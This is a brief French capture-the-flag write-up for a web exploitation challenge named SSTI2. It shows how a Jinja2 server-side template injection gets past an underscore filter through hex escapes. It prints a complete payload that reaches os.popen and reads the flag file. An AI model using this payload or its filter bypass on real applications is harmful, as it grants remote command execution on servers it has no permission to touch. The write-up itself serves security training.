SSTI2¶
Writeup de Arnold-26, repris avec son autorisation. Source :
cylab-academy-writeups— challenge #488, résolu le 2026-11-23. Flags tronqués.
Catégorie : Web Exploitation · Challenge : #488 · Résolu le : 2026-11-23
Énoncé¶
I made a cool website where you can announce whatever you want! I read about input sanitization, so now I remove any kind of characters that could be a problem :)
Résolution¶
Méthode : SSTI Jinja2 + bypass de filtre par \x5f.
Le filtre supprime _ (entre autres). Les echappements hexadecimaux passent : '\x5f\x5fglobals\x5f\x5f' reconstruit __globals__ au moment de l'evaluation. Payload : {{lipsum|attr('\x5f\x5fglobals\x5f\x5f')|attr('\x5f\x5fgetitem\x5f\x5f')('os')|attr('popen')('cat /challenge/flag')|attr('read')()}}. Le flag est dans /challenge/flag.